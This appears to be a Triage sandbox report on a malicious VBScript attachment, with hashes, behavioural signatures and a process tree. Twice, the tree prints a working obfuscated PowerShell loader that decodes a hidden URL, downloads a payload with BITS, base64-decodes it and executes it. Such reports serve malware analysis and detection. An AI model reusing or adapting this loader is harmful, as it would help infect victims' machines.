Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
149s -
max time network
154s -
platform
windows10-2004_x64 -
resource
win10v2004-20230915-en -
resource tags
arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system -
submitted
05/10/2023, 08:54
Static task
static1
Behavioral task
behavioral1
Sample
Attachment.vbs
Resource
win7-20230831-en
Behavioral task
behavioral2
Sample
Attachment.vbs
Resource
win10v2004-20230915-en
General
-
Target
Attachment.vbs
-
Size
33KB
-
MD5
2bc4aca6380a7b1833dd3c892a21b225
-
SHA1
16f788f930196018f98738c32cadfd2aac8eee2b
-
SHA256
e20c1f3e05a778a3ef777cacd388c0fc2a9d22129dc7993c413871693536730c
-
SHA512
dc7bb838d627ea7dc27d01fcddff2a38d625d0e781c550d603e05d37791a499b11c6ed1a4ae6382aed2968934e4c3167e7c731107a70a14ebef705b68dfb0248
-
SSDEEP
768:RPJkLxR+FwpIlY2YalfZeoAg3Lh7uDFsV+oCh:wRsw+5J+FA+t
Malware Config
Signatures
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1574508946-349927670-1185736483-1000\Control Panel\International\Geo\Nation WScript.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 1016 powershell.exe 1016 powershell.exe 1428 powershell.exe 1428 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 1016 powershell.exe Token: SeDebugPrivilege 1428 powershell.exe -
Suspicious use of WriteProcessMemory 5 IoCs
description pid Process procid_target PID 4692 wrote to memory of 1016 4692 WScript.exe 89 PID 4692 wrote to memory of 1016 4692 WScript.exe 89 PID 1016 wrote to memory of 1428 1016 powershell.exe 91 PID 1016 wrote to memory of 1428 1016 powershell.exe 91 PID 1016 wrote to memory of 1428 1016 powershell.exe 91
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Attachment.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4692 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Function naturfa9 ([String]$Skelnemr){$Filmafte = $Skelnemr.Length;For($Fyrigerab=4; $Fyrigerab -lt $Filmafte-1; $Fyrigerab+=(4+1)){$Monopo=$Monopo+$Skelnemr.Substring( $Fyrigerab, 1)};$Monopo;}$Antifebr=naturfa9 'Alumhlokut FlatKontpFing:nons/Hand/VulsmAlliiPrelsSammsVokse mulnDiscdPreue EftnMixorTakaaConsiAbonlValuwAnstaJvnfy ReimJakkoTsardtuareContlkanelnonae IntrUnfasPipe.MadooUnrerSkbngInte.PaanuPreokProt/KandtadreeSpecsTriftPleu/UltrGBjveeTokamZoopm HaboserilInstoPert.CalllIngez HomhCyto ';$Forbin=$Antifebr.split([char]62);$Antifebr=$Forbin[0];$Monopo01=naturfa9 ' ThaiStike MeaxBroc ';$Tacklingsl = naturfa9 'Alum\Comps BauyConssBranwGaraoMarxw Neu6Euka4Drap\ChacWDataiPromnUbefd EsooTampwBomhsSangPOuthodougwLamee NonrAbriSTernhSpote DejlFodflProc\ IndvUnch1Mode.Nord0 Reg\BjerpInteoRancwDekaeOblirSkidsBkkeh grnePtyalMisclNile.AgiteGenexTalle Sdv ';.($Monopo01) (naturfa9 ' Fdr$ DisCCoproSkatmTelebHospaPosttKlart maleSpumdDebaeCape2Inha=Arti$Undee Tezn SisvRote:ElutwUncoi TernIncodforsiDuegrBarm ') ;.($Monopo01) (naturfa9 ' Duf$UdmeTKatiaGnubcPholkhyldlTrykiBefanStikgGravsUdlal Vil= Sto$CardC SopoBloomAutubAldraStiptbesytDuckeFyredPolyeProg2Syke+Skvi$KogeTheksasolicOsirk PoclFriti ChlnCilig Brds PoslChem ') ;.($Monopo01) (naturfa9 'Over$PirrSNeurnRureo BarrSaldtRest Orth=Tram Aga(Deco(SamignicawMismmBigliHemi TrkwAfskiAntinSkin3 Thi2 Bre_ BilpSursrSpinoBraicTunneEminsRetosSple Hirs-ByscFammo SmoPPianrBoploShamcPengePosisArtisMaleIBilldPoly=Mede$ Tab{UnsaPStyrIDiskDBile}Apos)Crit.EndeCRteboBigbmspotmkollaTripnMicrdmultLFisciWlitnFremeLife)Mazu Nume-BlgesStorp Totl EmbiPentt dec Fory[MetrcSymphRegnaOpalrGran] Tir3Befu4Skvi ');.($Monopo01) (naturfa9 'Macc$JgerTCrimiSkablUnflhlogay Mell KarlUldgePant Pikn=tils Corb$ SkrSPoacnReproEducrdrupt Dyb[Twif$SpilSCheinfagao BenrGuartOper.ForscSemioMangu AntnIdentVide-Bygg2Hajj]ster ');.($Monopo01) (naturfa9 ' Cam$KensRIdereRodoj TaleDetehDermoHelapMagnpSpeceJann= Val(MediTStageUgleslaastOver-SektP HesaDisptAfghhFutt Uta$SandTModea ForcDivikTraplPatei SornPelfgHjtisSkinlKeno)Efte Doku- ChiA DifnTextdlanc sua(Uper[ EmuI EsknStrut EnoPBardtUnrorGors]Soma:Star:BalasSkriiTranzHandeRoma Skad-LokaeLingqrull Cten8Sels)Vink ') ;if ($Rejehoppe) {.$Tacklingsl $Tilhylle;} else {;$Monopo00=naturfa9 'BittSSkintPlanaBiksr MistMrte-omklB grai PertIndssBurkTsgnerImpea HaanSpirsmodvfSnkeeZygirUnsi Ful-PoleSTrmlo Capu Reor BlgcSubgePlay Nard$ForrAEmbenOutstOphiiTillfSydaeMentbrecorCafe Sili-EquiD IlleKlvesDekotkvajiMiljnLuciaPupptAntaiPakkoCircn Fus Intr$GambCSkoboUvenmDragbGeocaDishtReawtApprePansdskeleRetn2Firl ';.($Monopo01) (naturfa9 'Unge$InhaCNonmodelimUhelbKoveaHelhtGreetUdtaeUnmyd BjeeSlut2Clou=graa$ NapeDephnSkrevVeks:Kania KakpjeffpMoisdEnwha Ekatextoadisk ') ;.($Monopo01) (naturfa9 'JimbI FasmmetopRideoBarbrToletGlov-HazaM PanobrendChaduKontlExtreEpim RrlgBSikkiCardt infsGlabTGeorr AmpaOrganAndesUsrifOstie sprrGnas ') ;$Combattede2=$Combattede2+'\Lgnersla.Jea';.($Monopo01) (naturfa9 ' Gra$CaveT BerrTrkboKonolDentlDisseExtey IncvCouno ReggSemi= Bev(BackTGutteDialsConetNonl-FarvPNavnaMarktTetrhViet Ejer$SlagCEntooGravmAbonbNorraKnaltEyertLselePiazdThroeskab2Stem)Merl ') ;while (-not $Trolleyvog) {.($Monopo01) (naturfa9 'Ripp$ UdrTFastrcitroIllalAfkllLavteCarbyEpifvCocioFerigMoor= Mag(skvaTBedeeUbets FlatRumm-HallPRepea ImmtGdnihEvin Fell$EnkeCTrauo KtemSkabbMonaaSubztSpiltcamaeElegdEucaePhil2Stil)Cirk ') ;.($Monopo01) $Monopo00;.($Monopo01) (naturfa9 ' GraSposttFertaNonkrKugltEksp- CouSContlAnsleOverePrivp Jum Waef5Kome ');$Antifebr=$Forbin[$Ledelshed++%$Forbin.count];}.($Monopo01) (naturfa9 'Eluv$FaminUprea KenthunduSpekrTaljfDevaaOchn Hun=Dess SkamGShare InctIndr-ImprC Lalo thun MaltPaleegettnKodrtSped App$AfvrCHutcoGasfmIchnbMensaHenntPsyktEnkee Attd UdreLeuk2Prel ');.($Monopo01) (naturfa9 'Bedo$OmfoO Tovv Vule Fisr CogwNonchStal Glos= Twi Tref[ DisS DryyProms SnetverdeEglamOrth.SalmCInteoFuchnHonnvHeteeDelerDuentunbe] Ypo:Best:GymnFCongrKompoSammmCookBPoliapenisOpfieClas6 int4BivuSLuxetrecerTykniFrmangunngBobo(Lyco$WeednKompaPufft Patu PisrIntefHomoaLiva) Pro ');.($Monopo01) (naturfa9 'Guld$ sitMfalloFetinNonooEkstpParooIron2Poco Raff=Innu Deca[InvaSMuniyTllesOvertLitueAfspmMobi.PyroTBrofeStikxEleftNeut. TerEbaalnEquic annoFremdRekuiHumpnRelugDrik]Dimm:Fibr:NumbAPatiSKvstC UniIDrgtIDota.PlumGAfsoeGimptUndeSPukltLandr WobigenenGermgGesp(Bryd$ UruOAfsvvMedieChaurDydswCivihDrau)bron ');.($Monopo01) (naturfa9 'Lave$HemaSAgeri FlanBogskBaseeArchr SkilInte=Sats$FlueMKameoAdganInfaoFilspRundofrst2misq.BestsUndeuharvb Vels PretdyskrRicaiBochnTermgOver( van2Ndri5Dete0 Ind1Mmet0Prog8Dyst,Stra2Epic3Frim4Unsa0Reve7Ambr) Fru ');.($Monopo01) $Sinkerl;}"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1016 -
C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "Function naturfa9 ([String]$Skelnemr){$Filmafte = $Skelnemr.Length;For($Fyrigerab=4; $Fyrigerab -lt $Filmafte-1; $Fyrigerab+=(4+1)){$Monopo=$Monopo+$Skelnemr.Substring( $Fyrigerab, 1)};$Monopo;}$Antifebr=naturfa9 'Alumhlokut FlatKontpFing:nons/Hand/VulsmAlliiPrelsSammsVokse mulnDiscdPreue EftnMixorTakaaConsiAbonlValuwAnstaJvnfy ReimJakkoTsardtuareContlkanelnonae IntrUnfasPipe.MadooUnrerSkbngInte.PaanuPreokProt/KandtadreeSpecsTriftPleu/UltrGBjveeTokamZoopm HaboserilInstoPert.CalllIngez HomhCyto ';$Forbin=$Antifebr.split([char]62);$Antifebr=$Forbin[0];$Monopo01=naturfa9 ' ThaiStike MeaxBroc ';$Tacklingsl = naturfa9 'Alum\Comps BauyConssBranwGaraoMarxw Neu6Euka4Drap\ChacWDataiPromnUbefd EsooTampwBomhsSangPOuthodougwLamee NonrAbriSTernhSpote DejlFodflProc\ IndvUnch1Mode.Nord0 Reg\BjerpInteoRancwDekaeOblirSkidsBkkeh grnePtyalMisclNile.AgiteGenexTalle Sdv ';.($Monopo01) (naturfa9 ' Fdr$ DisCCoproSkatmTelebHospaPosttKlart maleSpumdDebaeCape2Inha=Arti$Undee Tezn SisvRote:ElutwUncoi TernIncodforsiDuegrBarm ') ;.($Monopo01) (naturfa9 ' Duf$UdmeTKatiaGnubcPholkhyldlTrykiBefanStikgGravsUdlal Vil= Sto$CardC SopoBloomAutubAldraStiptbesytDuckeFyredPolyeProg2Syke+Skvi$KogeTheksasolicOsirk PoclFriti ChlnCilig Brds PoslChem ') ;.($Monopo01) (naturfa9 'Over$PirrSNeurnRureo BarrSaldtRest Orth=Tram Aga(Deco(SamignicawMismmBigliHemi TrkwAfskiAntinSkin3 Thi2 Bre_ BilpSursrSpinoBraicTunneEminsRetosSple Hirs-ByscFammo SmoPPianrBoploShamcPengePosisArtisMaleIBilldPoly=Mede$ Tab{UnsaPStyrIDiskDBile}Apos)Crit.EndeCRteboBigbmspotmkollaTripnMicrdmultLFisciWlitnFremeLife)Mazu Nume-BlgesStorp Totl EmbiPentt dec Fory[MetrcSymphRegnaOpalrGran] Tir3Befu4Skvi ');.($Monopo01) (naturfa9 'Macc$JgerTCrimiSkablUnflhlogay Mell KarlUldgePant Pikn=tils Corb$ SkrSPoacnReproEducrdrupt Dyb[Twif$SpilSCheinfagao BenrGuartOper.ForscSemioMangu AntnIdentVide-Bygg2Hajj]ster ');.($Monopo01) (naturfa9 ' Cam$KensRIdereRodoj TaleDetehDermoHelapMagnpSpeceJann= Val(MediTStageUgleslaastOver-SektP HesaDisptAfghhFutt Uta$SandTModea ForcDivikTraplPatei SornPelfgHjtisSkinlKeno)Efte Doku- ChiA DifnTextdlanc sua(Uper[ EmuI EsknStrut EnoPBardtUnrorGors]Soma:Star:BalasSkriiTranzHandeRoma Skad-LokaeLingqrull Cten8Sels)Vink ') ;if ($Rejehoppe) {.$Tacklingsl $Tilhylle;} else {;$Monopo00=naturfa9 'BittSSkintPlanaBiksr MistMrte-omklB grai PertIndssBurkTsgnerImpea HaanSpirsmodvfSnkeeZygirUnsi Ful-PoleSTrmlo Capu Reor BlgcSubgePlay Nard$ForrAEmbenOutstOphiiTillfSydaeMentbrecorCafe Sili-EquiD IlleKlvesDekotkvajiMiljnLuciaPupptAntaiPakkoCircn Fus Intr$GambCSkoboUvenmDragbGeocaDishtReawtApprePansdskeleRetn2Firl ';.($Monopo01) (naturfa9 'Unge$InhaCNonmodelimUhelbKoveaHelhtGreetUdtaeUnmyd BjeeSlut2Clou=graa$ NapeDephnSkrevVeks:Kania KakpjeffpMoisdEnwha Ekatextoadisk ') ;.($Monopo01) (naturfa9 'JimbI FasmmetopRideoBarbrToletGlov-HazaM PanobrendChaduKontlExtreEpim RrlgBSikkiCardt infsGlabTGeorr AmpaOrganAndesUsrifOstie sprrGnas ') ;$Combattede2=$Combattede2+'\Lgnersla.Jea';.($Monopo01) (naturfa9 ' Gra$CaveT BerrTrkboKonolDentlDisseExtey IncvCouno ReggSemi= Bev(BackTGutteDialsConetNonl-FarvPNavnaMarktTetrhViet Ejer$SlagCEntooGravmAbonbNorraKnaltEyertLselePiazdThroeskab2Stem)Merl ') ;while (-not $Trolleyvog) {.($Monopo01) (naturfa9 'Ripp$ UdrTFastrcitroIllalAfkllLavteCarbyEpifvCocioFerigMoor= Mag(skvaTBedeeUbets FlatRumm-HallPRepea ImmtGdnihEvin Fell$EnkeCTrauo KtemSkabbMonaaSubztSpiltcamaeElegdEucaePhil2Stil)Cirk ') ;.($Monopo01) $Monopo00;.($Monopo01) (naturfa9 ' GraSposttFertaNonkrKugltEksp- CouSContlAnsleOverePrivp Jum Waef5Kome ');$Antifebr=$Forbin[$Ledelshed++%$Forbin.count];}.($Monopo01) (naturfa9 'Eluv$FaminUprea KenthunduSpekrTaljfDevaaOchn Hun=Dess SkamGShare InctIndr-ImprC Lalo thun MaltPaleegettnKodrtSped App$AfvrCHutcoGasfmIchnbMensaHenntPsyktEnkee Attd UdreLeuk2Prel ');.($Monopo01) (naturfa9 'Bedo$OmfoO Tovv Vule Fisr CogwNonchStal Glos= Twi Tref[ DisS DryyProms SnetverdeEglamOrth.SalmCInteoFuchnHonnvHeteeDelerDuentunbe] Ypo:Best:GymnFCongrKompoSammmCookBPoliapenisOpfieClas6 int4BivuSLuxetrecerTykniFrmangunngBobo(Lyco$WeednKompaPufft Patu PisrIntefHomoaLiva) Pro ');.($Monopo01) (naturfa9 'Guld$ sitMfalloFetinNonooEkstpParooIron2Poco Raff=Innu Deca[InvaSMuniyTllesOvertLitueAfspmMobi.PyroTBrofeStikxEleftNeut. TerEbaalnEquic annoFremdRekuiHumpnRelugDrik]Dimm:Fibr:NumbAPatiSKvstC UniIDrgtIDota.PlumGAfsoeGimptUndeSPukltLandr WobigenenGermgGesp(Bryd$ UruOAfsvvMedieChaurDydswCivihDrau)bron ');.($Monopo01) (naturfa9 'Lave$HemaSAgeri FlanBogskBaseeArchr SkilInte=Sats$FlueMKameoAdganInfaoFilspRundofrst2misq.BestsUndeuharvb Vels PretdyskrRicaiBochnTermgOver( van2Ndri5Dete0 Ind1Mmet0Prog8Dyst,Stra2Epic3Frim4Unsa0Reve7Ambr) Fru ');.($Monopo01) $Sinkerl;}"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1428
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82